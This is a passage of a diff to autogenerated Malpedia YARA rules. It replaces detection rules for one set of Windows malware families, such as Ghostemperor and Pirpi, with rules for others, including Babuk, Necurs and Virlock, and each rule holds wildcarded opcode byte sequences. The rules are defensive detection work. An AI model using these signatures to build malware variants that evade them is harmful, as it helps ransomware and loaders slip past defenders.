8b0d???????? 8b5150 52 ffd6 53 } - $sequence_4 = { 85c0 5f 5e 5b 7414 } - $sequence_5 = { 83c724 3bf0 72d8 eb2a 8b942430020000 8b4c2410 } - $sequence_6 = { c3 81ec08020000 8d442400 56 8d4c2408 } - $sequence_7 = { 6a21 50 e8???????? 83c408 c78424a400000002000000 8db42428010000 } - $sequence_8 = { 833d????????01 750d 8b442404 50 e8???????? 83c404 } - $sequence_9 = { 8b3d???????? 83c408 8d442408 50 ffd7 } + $sequence_0 = { 8bda 420fb6bc3010680500 418bc3 c1e708 48c1e810 0fb6c8 420fb6843110680500 } + $sequence_1 = { 83f806 0f879c010000 488d155277ffff 4898 8b8c82948a0000 4803ca ffe1 } + $sequence_2 = { 488bd7 498bcc ff15???????? 4c8d4c2470 48895c2420 41b800000800 498bd6 } + $sequence_3 = { 4883c602 66833e00 758d 483bf5 765e 482bf5 48d1fe } + $sequence_4 = { 488905???????? 4885db 488d059af90400 488905???????? b830000000 480f44d8 486305???????? } + $sequence_5 = { 4983f940 72eb e9???????? 488d059e1f0000 48b90000000000000080 488987c8000000 488d0576900200 } + $sequence_6 = { 488d05ba8b0200 c7475001000000 48c7475804000000 48894778 488d0508520300 c7476801000000 48c7477004000000 } + $sequence_7 = { e8???????? 486305???????? 4c8d0516060500 83f814 0f8d99000000 488bc8 488d0480 } + $sequence_8 = { 458b849610710500 48c1eb18 4533848e10810500 4533848610640500 410fb6c3 49c1eb08 410fb6ca } + $sequence_9 = { 0fb64103 468b8c8710750500 0fb6943810630500 0fb64102 44338c9710640500 0fb6943810630500 } condition: - 7 of them and filesize < 1143808 + 7 of them and filesize < 19536896 } -rule MALPEDIA_Win_Ghostemperor_Auto : FILE +rule MALPEDIA_Win_Babuk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eb9bf224-db51-5bdd-bed6-58106efc8832" + id = "77f91e38-4269-56c5-a99d-eaf5692c6027" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghostemperor_auto.yar#L1-L226" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babuk_auto.yar#L1-L166" license_url = "N/A" - logic_hash = "7df60cceb98a60fe2e2f53ccef69a2b508e5a3019ab430e008473c427496d31f" + logic_hash = "e2bb83a66a607df7c2662bebeca5bbfe5fab26f1661308e86fffacc36a5ed578" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -89939,46 +89971,38 @@ rule MALPEDIA_Win_Ghostemperor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c7464800000000 488d4e18 ff15???????? 488b4e40 } - $sequence_1 = { 89d5 4889ce b920000000 e8???????? 4889c7 0f57c0 0f2900 } - $sequence_2 = { 4885c9 7443 4889ce ff15???????? } - $sequence_3 = { 4883c601 4883c2f8 39f1 75ec 4929d1 } - $sequence_4 = { 4883ec28 ff15???????? 488d542424 89c1 ff15???????? 85c0 7406 } - $sequence_5 = { 418d42ff 4c8d5801 4983fb04 7222 488d3cc2 4883c708 } - $sequence_6 = { 4839cf 0f86fb000000 488d04c1 4883c008 } - $sequence_7 = { 488d5108 e8???????? 8b4648 85c0 746e } - $sequence_8 = { 49895d38 41897530 eb18 418b07 85c0 7411 4c03f8 } - $sequence_9 = { 01c3 69cbe8030000 81c130750000 4883ec20 } - $sequence_10 = { 01c1 89ca c1ea1f c1f904 } - $sequence_11 = { 488364c60800 488b05???????? 8a5008 488d4810 ff15???????? } - $sequence_12 = { 41391e 0f84fc010000 418b06 85c0 745d 448b4540 } - $sequence_13 = { 052797fa04 351337a665 8945f4 488b4510 } - $sequence_14 = { 4154 4156 488d6898 4881ec50010000 4533f6 4c8d257b390000 488bd9 } - $sequence_15 = { 05f226dac9 35bcfe1eea 894534 488b4550 } - $sequence_16 = { c745505f007300 c74554ee005200 0f1185c8030000 c74558ec005600 c7455c05008500 0f104d50 } - $sequence_17 = { 00c2 488b8568020000 8854080c 488b85b0020000 } - $sequence_18 = { 488bcf 2b542428 83c207 e8???????? 85c0 } - $sequence_19 = { 0552f0384d 358e257f87 894530 488b4570 } - $sequence_20 = { 01d1 89ca c1e205 89cb } - $sequence_21 = { 3d040000c0 7567 8b542450 33c9 ff15???????? 488bf8 } - $sequence_22 = { 00c1 488b8568020000 488b95b0020000 884c100c } - $sequence_23 = { 33c0 488b6c2438 488b742440 48894f38 } + $sequence_0 = { ff15???????? 6800000100 e8???????? 83c404 } + $sequence_1 = { 50 ff15???????? 83f803 7502 } + $sequence_2 = { ba08000000 6bc200 8b4d08 8b540104 52 8b0401 50 } + $sequence_3 = { 56 57 b808000000 6bc80a 8b5508 c7040a00000000 } + $sequence_4 = { 3dea000000 0f85d9000000 8b55ac 52 e8???????? 83c404 } + $sequence_5 = { c7440a0400000000 c745fc00000000 eb09 8b45fc 83c002 8945fc } + $sequence_6 = { 8b85ecfdffff 8b8de4fdffff 8b948d70fdffff 89948508fdffff 8b85ecfdffff 83c001 } + $sequence_7 = { 8b44ca04 50 8b0cca 51 e8???????? 83c408 8945f4 } + $sequence_8 = { eb02 ebbe 8b4d9c 51 ff15???????? } + $sequence_9 = { 0f83dc000000 8b4dfc 8b5508 8b44ca04 } + $sequence_10 = { 8b0401 50 e8???????? 83c408 8945ec 8955f0 b908000000 } + $sequence_11 = { c7040100000000 c744010400000000 ba08000000 6bc200 } + $sequence_12 = { 894dfc 837dfc08 7d1e 8b55fc } + $sequence_13 = { 8985c0fdffff 83bdc0fdffff00 0f84a1000000 c785ccfdffff00000000 eb0f } + $sequence_14 = { ba08000000 6bc20a 8b4d08 c7040100000000 c744010400000000 } + $sequence_15 = { 8b8c8508fdffff 51 ff15???????? eb02 } condition: - 7 of them and filesize < 1115136 + 7 of them and filesize < 183296 } -rule MALPEDIA_Win_Murofet_Auto : FILE +rule MALPEDIA_Win_Karma_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff4651b8-f01c-5a4b-b3ae-29bd62dfdd08" + id = "24be30a8-d096-5dc7-8e51-b42bf2a52649" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.murofet_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karma" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karma_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "94ade8c85b5c2b31256b3a8187c71d11e0c07536823190c2ab9a762d80de406f" + logic_hash = "35cdf75103d6b4a50883eb5678dfe204820b04234b8d7ece3879561247948adf" score = 75 quality = 75 tags = "FILE" @@ -89992,32 +90016,32 @@ rule MALPEDIA_Win_Murofet_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a2???????? 84c0 7510 e8???????? 3c04 73ce b002 } - $sequence_1 = { 72e5 e8???????? a2???????? 84c0 7510 } - $sequence_2 = { 3c02 72e5 e8???????? a2???????? 84c0 7510 } - $sequence_3 = { 3c04 73ce b002 a2???????? } - $sequence_4 = { 57 56 ff15???????? c6443eff00 83f8ff 7509 56 } - $sequence_5 = { e8???????? 32c0 eb43 be30750000 56 } - $sequence_6 = { e8???????? a2???????? 84c0 7510 e8???????? } - $sequence_7 = { e8???????? 3c04 73ce b002 } - $sequence_8 = { 84c0 7510 e8???????? 3c04 } - $sequence_9 = { 3c02 72e5 e8???????? a2???????? } + $sequence_0 = { 6a08 6a00 8944243c ffd6 50 ffd3 6a40 } + $sequence_1 = { 8b450c 751c 41 83f908 72f1 } + $sequence_2 = { 8b0d???????? 33c0 3801 740a } + $sequence_3 = { 8bf1 33d2 57 663916 7409 } + $sequence_4 = { 668901 8d5202 6685c0 75ef 8bcf ba???????? } + $sequence_5 = { 750e 6685db 0f8478040000 83c702 ebc8 33ff } + $sequence_6 = { c1c80e 33c7 8b7b14 8903 8d0437 c1c007 314324 } + $sequence_7 = { 8bf1 eb02 33f6 0fb74102 } + $sequence_8 = { 6685c0 7429 0fb7d0 6683fa5c 7410 } + $sequence_9 = { 66833c45f051400000 75f4 33d2 663915???????? 7415 660f1f840000000000 } condition: - 7 of them and filesize < 622592 + 7 of them and filesize < 49208 } -rule MALPEDIA_Win_Obscene_Auto : FILE +rule MALPEDIA_Win_Sagerunex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "de7d43f1-261f-57f6-aed2-154950ae43ae" + id = "3bc17e45-f6b5-56f7-b7ea-e25c9e23d339" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.obscene_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sagerunex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sagerunex_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "69b57f278cfe3402f37b22931c479ec832951485342c04942f09cb1c1b23263c" + logic_hash = "da6b189b8ae26a86626e8770a2d7d0803155a13ac9a34b2d4bbc9044c0ab3fcc" score = 75 quality = 75 tags = "FILE" @@ -90031,32 +90055,32 @@ rule MALPEDIA_Win_Obscene_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 6a00 6a00 ff15???????? eb09 } - $sequence_1 = { ff75f0 ff15???????? 50 68c03d1010 e8???????? } - $sequence_2 = { 0fbe00 83f830 7c0b 8b45f8 } - $sequence_3 = { 6828431010 68e4401010 e8???????? 59 59 682c431010 } - $sequence_4 = { 6a06 68???????? ff35???????? 6aff ff15???????? 68???????? } - $sequence_5 = { eb61 68???????? 68???????? 68???????? e8???????? 83c40c 68???????? } - $sequence_6 = { ff750c e8???????? 59 3da0bb0d00 733e ff75fc 6800080000 } - $sequence_7 = { 59 ff7508 6860ad0010 e8???????? 59 59 68bc501010 } - $sequence_8 = { c605????????68 c705????????d15aaa00 c605????????c3 8d45fc 50 6a06 } - $sequence_9 = { 55 8bec 81ec04080000 68???????? ff750c e8???????? 59 } + $sequence_0 = { e8???????? 0fb74b02 4803cb e8???????? 8d7701 ba04010000 e9???????? } + $sequence_1 = { 8bc7 ffc7 3d00010000 0f8f2a030000 488bcb e8???????? 85c0 } + $sequence_2 = { 4156 4157 4881ec60020000 488b05???????? 4833c4 4889842450020000 4d8bf1 } + $sequence_3 = { 448bc3 e8???????? 33c0 c744242801234567 c744242c89abcdef c7442430fedcba98 c744243476543210 } + $sequence_4 = { b801000000 488b8c2490000000 4833cc e8???????? 488b9c24d8000000 4881c4a0000000 5f } + $sequence_5 = { 41b8000c0000 c744247001000000 48ffc3 4889442478 48894580 c744245001000000 4889442458 } + $sequence_6 = { 488bcf 7512 e8???????? 85c0 751e 488d0d6e500300 eb8a } + $sequence_7 = { 4983d300 4d034838 4d3b4838 4d894838 4983d300 4983c040 49ffcf } + $sequence_8 = { f0ff00 488d4128 41b806000000 488d1560db0100 483950f0 740b 488b10 } + $sequence_9 = { 03d8 41bc67666666 41b80d000000 f20f11450a f20f1005???????? 418bc4 4c8d4d90 } condition: - 7 of them and filesize < 2170880 + 7 of them and filesize < 619520 } -rule MALPEDIA_Win_Pirpi_Auto : FILE +rule MALPEDIA_Win_Marap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a7077df7-231e-50c6-a30a-b0c867545de5" + id = "b10f821b-8ff2-589d-803b-f9a90d7546d1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pirpi_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.marap_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "e76dba310cd3f8d181253104bae884733437724bbd7b8a3e7170c860a0db32f8" + logic_hash = "546aba24f6e8400321dff7dca511f4540ee158508029bfb4a7f44eaf5c6b5908" score = 75 quality = 75 tags = "FILE" @@ -90070,32 +90094,32 @@ rule MALPEDIA_Win_Pirpi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8bf8 8d4610 50 8d4c2424 6a0c } - $sequence_1 = { bf???????? 8bf0 33db c70200000000 f3a7 745c b904000000 } - $sequence_2 = { 0f849e000000 8d7c2434 83c9ff 33c0 f2ae f7d1 49 } - $sequence_3 = { 8bca 8b5510 83e103 52 f3a4 } - $sequence_4 = { 8b542404 57 85d2 c705????????00000000 7461 8bfa } - $sequence_5 = { 8bac24f0000000 8d7c241c 2beb 8b07 } - $sequence_6 = { 83fbff 742b b941000000 33c0 8d7c2420 85f6 f3ab } - $sequence_7 = { ff15???????? 8bf0 85f6 897508 7545 8b5d0c } - $sequence_8 = { 81ec10020000 8bd1 b940000000 33c0 57 8dbc2414010000 } - $sequence_9 = { 81c41c020000 c3 8bb42430020000 85f6 0f841dffffff b941000000 8d7c2420 } + $sequence_0 = { 53 57 52 50 51 68???????? } + $sequence_1 = { c1f805 8b048580320110 83e61f c1e606 } + $sequence_2 = { 8d3c8580320110 8b07 c1e606 f644300401 7436 833c30ff } + $sequence_3 = { 6a01 57 68???????? 89bda8fdffff } + $sequence_4 = { 68???????? 8d9662030000 e8???????? 8b3d???????? 83c410 68???????? 68???????? } + $sequence_5 = { eb22 8386e41d00000f eb19 8386e41d000010 } + $sequence_6 = { 0f848d000000 8bc6 8d5002 668b08 83c002 663bcf 75f5 } + $sequence_7 = { 895df8 0f8576ffffff 8bd7 5f 8bc6 5e } + $sequence_8 = { 50 8dbeb2010000 57 e8???????? } + $sequence_9 = { 6683f858 770f 0fb7c2 0fbe80d8cb0010 83e00f } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Cicada3301_Auto : FILE +rule MALPEDIA_Win_Snifula_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7338c12c-73b8-5d10-8e46-a50135055df6" + id = "afa48786-d5fc-5366-8008-6b70f692e7c3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cicada3301" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cicada3301_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snifula_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "71afdc3382366bc56a3a7b41e98090049ed0f50bc476acc71b1f38d7b1e1424b" + logic_hash = "7c279f7057df8c5886f1d459f9399bd6a55001fc2186a62b783d87332b8a3375" score = 75 quality = 75 tags = "FILE" @@ -90109,32 +90133,32 @@ rule MALPEDIA_Win_Cicada3301_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 4c8d057fb12e00 4c89d9 4c89d2 e8???????? 4c8d059db12e00 4c89d9 } - $sequence_1 = { e8???????? 4531ff 4c89f9 4889f2 e8???????? 31db 4889d9 } - $sequence_2 = { f30f6f00 0f104810 0f105020 660f7f842420010000 0f298c2430010000 0f29942440010000 488b542470 } - $sequence_3 = { e9???????? 4885c0 0f8499070000 84db 0f85c9020000 488b9c24b0010000 4839cf } - $sequence_4 = { e8???????? 49ffcf 4d897e48 4d85ed 0f84e2010000 4c896c2428 0f28442460 } - $sequence_5 = { f30f6f8610020000 f30f6f8b08020000 660f70c044 660febc1 f30f7f8308020000 0f1006 0f1103 } - $sequence_6 = { eb21 4889de 4c8d0531002c00 4889e9 4889f2 e8???????? e9???????? } - $sequence_7 = { ff13 e9???????? 4d85f6 7433 498d4c2408 4c89f0 488b4cc1f8 } - $sequence_8 = { e8???????? 0f108424e0000000 0f108c24f0000000 0f10942400010000 0f29442450 0f294c2460 0f29542470 } - $sequence_9 = { c1eb10 488d8c2490020000 488d94248b030000 41b8f5000000 e8???????? 4c8b442440 4c8b4c2438 } + $sequence_0 = { e8???????? 33f6 8d936c0e0000 6a05 58 50 56 } + $sequence_1 = { 57 8d4c2420 e8???????? 8bd8 3bdd 7524 57 } + $sequence_2 = { 40 8907 8d442414 50 56 56 8d7904 } + $sequence_3 = { 7436 8b4728 a820 7416 ff7710 8b4708 } + $sequence_4 = { 8345ec04 3b45e8 7295 eb1b 8b4df8 8b45f4 8b0488 } + $sequence_5 = { bf???????? 57 53 ff15???????? 8bf0 85f6 7414 } + $sequence_6 = { 7602 8bf0 8b4d10 6a00 56 ff7508 e8???????? } + $sequence_7 = { 8bf8 ff35???????? 8b35???????? ffd6 53 89442414 } + $sequence_8 = { 6a04 8d45fc 50 6a04 56 68???????? ff7508 } + $sequence_9 = { 5e 5b c9 c20400 8d4804 ba1e010000 56 } condition: - 7 of them and filesize < 11247616 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Calmthorn_Auto : FILE +rule MALPEDIA_Win_Andromut_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cf990769-6e13-5a67-bc05-b21c727d36bf" + id = "deb4a424-4b4e-5ea2-908f-5ddc5f18ef00" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.calmthorn_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andromut_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "a1bc3f3172ae049034dbbb2cc969035914c9181e535af50f1d71d6e16050356b" + logic_hash = "230945b6168ef420f0744200cbf464e2eea8368844f9caec3ac8e73f949cddb4" score = 75 quality = 75 tags = "FILE" @@ -90148,34 +90172,34 @@ rule MALPEDIA_Win_Calmthorn_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb1e 8b95e42fffff 83c201 8b85e82fffff 83d000 8995e42fffff 8985e82fffff } - $sequence_1 = { ebba 0fb68d2cfdffff 83f901 7552 c785a0c2ffff00000000 eb0f 8b95a0c2ffff } - $sequence_2 = { ebba 0fb695a6fdffff 83fa01 7553 0f57c0 660f13858498ffff eb1e } - $sequence_3 = { e8???????? 83c404 398524ecffff 7d20 8b85e4eeffff 83c001 8985e4eeffff } - $sequence_4 = { ebba 0fb69568fdffff 83fa01 7552 c785e4e2ffff00000000 eb0f 8b85e4e2ffff } - $sequence_5 = { ebba 0fb68d3ffdffff 83f901 7553 0f57c0 660f1385bc4dffff eb1e } - $sequence_6 = { e8???????? 83c404 39855cdeffff 7d20 8b8df4f7ffff 83c101 898df4f7ffff } - $sequence_7 = { eb02 ebba 0fb68d16fdffff 83f901 7556 0f57c0 660f13859423ffff } - $sequence_8 = { ebbb 0fb68d33fdffff 83f901 7552 c785fcc4ffff00000000 eb0f 8b95fcc4ffff } - $sequence_9 = { 8b8d5c1bffff 83c101 8b95601bffff 83d200 898d5c1bffff 8995601bffff 83bd601bffffff } + $sequence_0 = { e8???????? 8d8da0dfffff 51 6819000200 56 8d4da4 51 } + $sequence_1 = { 47 3bfb 72e9 8b75fc 8b45f8 8b7c1018 33db } + $sequence_2 = { 8d8db8f9ffff 51 8d8d70f9ffff 51 57 57 } + $sequence_3 = { 53 51 ffb5a0f7ffff 8d8590f7ffff b92d57ae5b 0f438590f7ffff } + $sequence_4 = { 8a4d08 8d41bf 3c19 7708 0fbed1 83ea41 eb34 } + $sequence_5 = { 8d44246c b974723dc5 50 8d84247c030000 50 e8???????? } + $sequence_6 = { 49 8bc1 c1e10b c1e805 25ff070000 0bc1 } + $sequence_7 = { 8b9d70ffffff 8b856cffffff 03df a801 7415 6aff } + $sequence_8 = { b802210000 6689443e16 0fb7443e06 8b75f8 } + $sequence_9 = { e8???????? 8be5 5d c3 68c8060000 b8???????? e8???????? } condition: - 7 of them and filesize < 2322432 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Simplefilemover_Auto : FILE +rule MALPEDIA_Win_Virlock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "01e3a38c-ca1c-54f8-8b63-a6fb5042b331" + id = "9f47c27a-c9f5-5a88-9d0b-7ae966c8318a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.simplefilemover_auto.yar#L1-L220" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virlock_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "127d7e5e1cb1879a98229e20253c6e3598e5576a92a3becd73c38551f6d4a8f9" + logic_hash = "57885374cad55b220d8ca1f9432224bf7f5758a9b4619824c3d2cad7d03a8a3d" score = 75 - quality = 73 + quality = 71 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -90187,44 +90211,32 @@ rule MALPEDIA_Win_Simplefilemover_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bfc f3a5 e8???????? 81c420020000 } - $sequence_1 = { 7d07 33c0 e9???????? 6820020000 ff15???????? } - $sequence_2 = { e8???????? 81c420020000 85c0 7407 68???????? eb05 68???????? } - $sequence_3 = { b988000000 8bf3 8bfc f3a5 } - $sequence_4 = { 57 668b01 33f6 33db 33ff } - $sequence_5 = { 750f c78508daffff00000000 e9???????? 6a04 8d8d54daffff } - $sequence_6 = { 3bc3 0f8ec7020000 0145ec 397dec 7416 8b45ec } - $sequence_7 = { 7433 8bcb 663d5c00 7503 } - $sequence_8 = { 56 8b74241c 57 8a8800010000 8a9001010000 33ff 884c2408 } - $sequence_9 = { 8b742424 53 81e1ff000000 55 81e6ff000000 } - $sequence_10 = { 3bfb 0f8c54ffffff 8a4c242c 5d 5b 5f } - $sequence_11 = { 895df4 eb03 8b7df0 8d4601 be00010000 99 } - $sequence_12 = { 8b7c2418 8b5c2428 47 897c2418 0fbfff 3bfb 0f8c54ffffff } - $sequence_13 = { 8b7c2424 b940000000 f3a5 83c40c } - $sequence_14 = { e8???????? 83c410 e9???????? 83bd24daffff00 7e0c c78508daffff00000000 } - $sequence_15 = { 83c102 42 6685c0 75ea 85f6 7417 8b4c2414 } - $sequence_16 = { 0f8eda000000 8b4c2408 8b742424 53 } - $sequence_17 = { ebca ebc8 ebc6 ebc4 ebc2 } - $sequence_18 = { 50 8d85b0ddffff 50 e8???????? 8b45f4 03c0 } - $sequence_19 = { 6a00 6a00 6a04 6a00 6a02 6800000040 8d85f8fdffff } - $sequence_20 = { 50 ff15???????? 898510daffff 6a00 } - $sequence_21 = { 51 8b9554faffff 52 ff15???????? 898508daffff 83bd08daffffff } + $sequence_0 = { 81f234ea98fc ba77fa04fa bb5191b6fe e8???????? 81f2fcfd84fd bb9d77e800 81f32dcee8ff } + $sequence_1 = { 41 4a 54 52 4a 4b 55 } + $sequence_2 = { 68???????? eb0a 68???????? 68???????? e8???????? 83fa00 751b } + $sequence_3 = { 49 52 43 52 58 } + $sequence_4 = { 3b12 3646 9a19386f50123e 54 0ae7 0220 6f } + $sequence_5 = { d0c3 4a 43 d0a90a2bd0f3 } + $sequence_6 = { bb666d87fd 83e904 ba0dd2b2fe eb00 83f905 7d74 bb93ec7eff } + $sequence_7 = { 6b484768 e4cc 681cafc880 cf 6a78 d6 49 } + $sequence_8 = { 70c1 8a6a8f b3f0 46 fd 098f46182e59 53 } + $sequence_9 = { 36a25c6a5eac 42 775c 44 e4f2 2b470c d04ba2 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 4202496 } -rule MALPEDIA_Win_Snatch_Loader_Auto : FILE +rule MALPEDIA_Win_Necurs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e84bc4db-d72c-55c7-8127-5b70bf9d85b1" + id = "86cbd739-582e-5cdb-a27a-e3c4138c2a5e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snatch_loader_auto.yar#L1-L176" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.necurs_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "71f941ef8f08c99c9d42e26dfa505e9884dda28bb1bd06c93b12ee312c92bc07" + logic_hash = "39922dfc2893e9d4c51db465a227b3ce728857825f7b204e465cc4626e505419" score = 75 quality = 75 tags = "FILE" @@ -90238,38 +90250,38 @@ rule MALPEDIA_Win_Snatch_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895dfc e8???????? 8bf0 85f6 744b 33c0 66894606 } - $sequence_1 = { eb0e 8d4dfc 51 8d4df4 51 56 } - $sequence_2 = { 7505 8b45fc eb0d 53 53 } - $sequence_3 = { 57 8bfa 85c0 751d } - $sequence_4 = { 8b7dfc eb04 ffd0 8bf8 a1???????? } - $sequence_5 = { 8bc8 e8???????? a3???????? 85c0 7403 57 } - $sequence_6 = { 8bf8 a1???????? 85c0 7522 6a02 59 } - $sequence_7 = { 32c3 43 8802 42 } - $sequence_8 = { 76d8 33c0 48 5a 59 5f 5e } - $sequence_9 = { 59 5b 5a c9 c20c00 55 8bec } - $sequence_10 = { 8bec 83c4f8 53 56 57 51 52 } - $sequence_11 = { 0bc0 7454 394508 734f ff7510 } - $sequence_12 = { 33d2 33c9 8a0431 0ac0 741f } - $sequence_13 = { 3b45fc 773b 8b750c 8b7d10 037508 8bde } - $sequence_14 = { 741f 3a0439 7514 41 3b4df8 72ee 8bc2 } - $sequence_15 = { 57 56 8b36 56 8b33 33c0 48 } + $sequence_0 = { 56 8bf2 ba06e0a636 f7e2 } + $sequence_1 = { 13f2 a3???????? 8935???????? 890d???????? 8bc1 } + $sequence_2 = { 33d2 030d???????? a3???????? a1???????? } + $sequence_3 = { 397508 7604 33c0 eb12 } + $sequence_4 = { 890d???????? 8bc1 5e c3 55 8bec } + $sequence_5 = { 46 f7f6 8bc2 034508 5e 5d c3 } + $sequence_6 = { 0f31 8bc8 a1???????? 56 } + $sequence_7 = { 33c0 eb12 e8???????? 2b7508 } + $sequence_8 = { 8d85ecfbffff 57 50 e8???????? 83c410 } + $sequence_9 = { 33d7 33c1 52 50 } + $sequence_10 = { ffd6 8bf8 59 59 85ff 74df } + $sequence_11 = { 5e 5f c9 c3 8b35???????? } + $sequence_12 = { 99 6848640300 68da279b71 33d7 } + $sequence_13 = { 8bc1 8bd7 e9???????? 83caff 8bc2 e9???????? } + $sequence_14 = { 57 57 57 8d8574ffffff 50 } + $sequence_15 = { 8bc1 0bc7 7409 8bc1 8bd7 e9???????? } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Unidentified_044_Auto : FILE +rule MALPEDIA_Win_Firechili_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "34c20231-5d6b-58d1-a551-535378ccd58f" + id = "c4b311c4-f6ac-5e5a-9826-d5ef4ea0d836" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_044_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.firechili_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "73cc874ec97680c4006726eab010d16567bb76aa0c2f93b41df5ce3208d81ea0" + logic_hash = "db458f5c2a3a8ef8f27139a55fa4a245c49e387f1da157602228dcf03106d70c" score = 75 quality = 75 tags = "FILE" @@ -90283,32 +90295,32 @@ rule MALPEDIA_Win_Unidentified_044_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd6 a1???????? 85c0 75e2 5e c3 a1???????? } - $sequence_1 = { 660bfb 